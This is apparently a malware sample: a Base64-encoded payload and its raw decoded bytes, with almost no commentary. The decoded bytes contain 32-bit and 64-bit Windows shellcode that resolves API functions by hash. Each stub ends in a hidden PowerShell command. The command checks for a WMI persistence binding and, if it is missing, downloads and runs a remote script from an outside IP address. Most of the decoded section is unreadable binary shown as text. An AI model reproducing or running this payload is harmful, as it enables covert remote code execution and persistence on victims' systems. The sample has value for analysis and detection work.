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

Which Base64 decodes to :


1À@„S`è[è#¹v
2{99øt9Et‰E‰U‰ø1Ò0aÂ$«ÁíÁåƒíPù#j0¡ŽÙŽÁd‹
@‹aQœ`è[èËÿÿÿ‹EƒÀ‰D$$1À™Bð°Uu¹v
™‹E0ûèúaËEÁèÁà-f8MZuô‰E¸x|ôÛèÓ—¸?_dwWèÇ)ø‰Á=p
uƒÀX4d¡$
‹6‰ò)ÂúwòR¸á
蛋@
P4èË=؃à>t=؃à>t‹<)×ëã‰}u_‹[¸>LøÎèa‹@
< w,)øƒ|ütá1ÀUj
UPè$’PS)<$V¸Ä\mè%1ÀPPPV¸4F̯è…Àtª‹E€x
t‰‰@ëšÃèÿà`‹m—‹E<‹Tx
ê‹J‹Z 
ëI‹4‹
îè9øuñ‹Z$
ëf‹K‹Z
ë‹‹
è‰D$aÃR1À™¬ÁÊ

Â…Àuö’ZÃX‰D$XYXZ`RQ‹(1Àd¢$™°@PÁàPTR‰QJR¸ê™nWè{ÿÿÿ…ÀuOX‹8è^ƒÆU¹ó¤‹EP¸H¸¸èVÿÿÿ‹@‹@‹fƒx$u÷‹P(z32uë‹X‰]¸^Q^ƒè2ÿÿÿY‰
1ÀˆE@d¢$aÃZXXYQQQèƒ$	QQRÿàüè‚`‰å1Àd‹P0‹R‹R‹r(·J&1ÿ¬<a|, ÁÏ

ÇâòRW‹R‹J<‹LxãH
ÑQ‹Y 
Ó‹Iã:I‹4‹
Ö1ÿ¬ÁÏ

Ç8àuö}ø;}$uäX‹X$
Óf‹K‹X
Ó‹‹
ЉD$$[[aYZQÿà__Z‹ë]j
…²Ph1‹o‡ÿÕ»à*
h¦•½ÿÕ<|
€ûàu»GrojSÿÕcmd /c powershell -nop -noni -w hidden "$a=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if(($a -eq $null) -or (!($a.contains('Windows Events Filter')))) {IEX(New-Object Net.WebClient).DownloadString('http://192.74.245.97/oseoptrick.ps1')}" Uè.¹‚À2L
4D9Èt9Et
‰U‰EÆEøI‘PZHÁê 0]ÃH-HÁíHÁåHƒípÃ
øeH‰$%eH‹$%¨
j+eÿ4%PPUèÅÿÿÿH‹EHƒÀH‰D$QRAPAQARAS1À²
ð°Uøu¹‚À‹E‹U0ûèúA[AZAYAXZY]XÃAWAVWVSPL‹}IÁïIÁçIïfA?MZuñL‰}eL‹4%ˆ
¿x|ôÛè

H‘¿?_dwèü‹@‰Ã=rƒÀHP(LM‰ÁM‹	M9È„ÆL‰ÈL)ðH=wæM)οá
軋xƒÇH4èô=؃à>t=؃à>t	H‹9H)ùëà¿H¸¸è„H‰EðH4H‰óH‹[H9Þt÷J3¿>LøÎèi‹@Hƒ|øtÞHMM1ÀL
©Uj
UAPHƒì ¿Ä\mè5HMM1É¿4F̯è$HƒÄ@…Àt£H‹E €x
t	H‰H‰@ëX[^_A^A_ÃèÿàSQVA‹G<A‹„ˆL
øP‹H‹X L
ûÿÉ‹4‹L
þè9øuïX‹X$L
ûf‹K‹XL
û‹‹L
ø^Y[ÃR1À™¬ÁÊ

Â…Àuö’ZÃUSWVAWI‹(L‹}R^L‰Ë1ÀD"ÀH‰‰ÁH÷ÑI‰À°@PÁàPI‰
Hƒì ¿ê™nWèeÿÿÿHƒÄ0…ÀuEH‹>H5M¹ó¤H‹EðH‹@H‹@ H‹fƒxHuöH‹PPz32uéL‹x ¿^Q^ƒè"ÿÿÿH‰1ɈMø±
D"ÁA_^_[]ÃH’1ÉQQI‰ÉL
‰ÊHƒì ÿÐHƒÄ0ÃüHƒäðèÀAQAPRQVH1ÒeH‹R`H‹RH‹R H‹rPH·JJM1ÉH1À¬<a|, AÁÉ
A
ÁâíRAQH‹R ‹B<H
Ћ€ˆH…ÀtgH
ÐP‹HD‹@ I
ÐãVHÿÉA‹4ˆH
ÖM1ÉH1À¬AÁÉ
A
Á8àuñLL$E9ÑuØXD‹@$I
ÐfA‹HD‹@I
ÐA‹ˆH
ÐAXAX^YZAXAYAZHƒì ARÿàXAYZH‹éWÿÿÿ]Hº
H

Aº1‹o‡ÿÕ»à*
Aº¦•½ÿÕHƒÄ(<|
€ûàu»GrojYA‰ÚÿÕcmd /c powershell -nop -noni -w hidden "$a=([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding ));if(($a -eq $null) -or (!($a.contains('Windows Events Filter')))) {IEX(New-Object Net.WebClient).DownloadString('http://192.74.245.97/oseoptrick.ps1')}"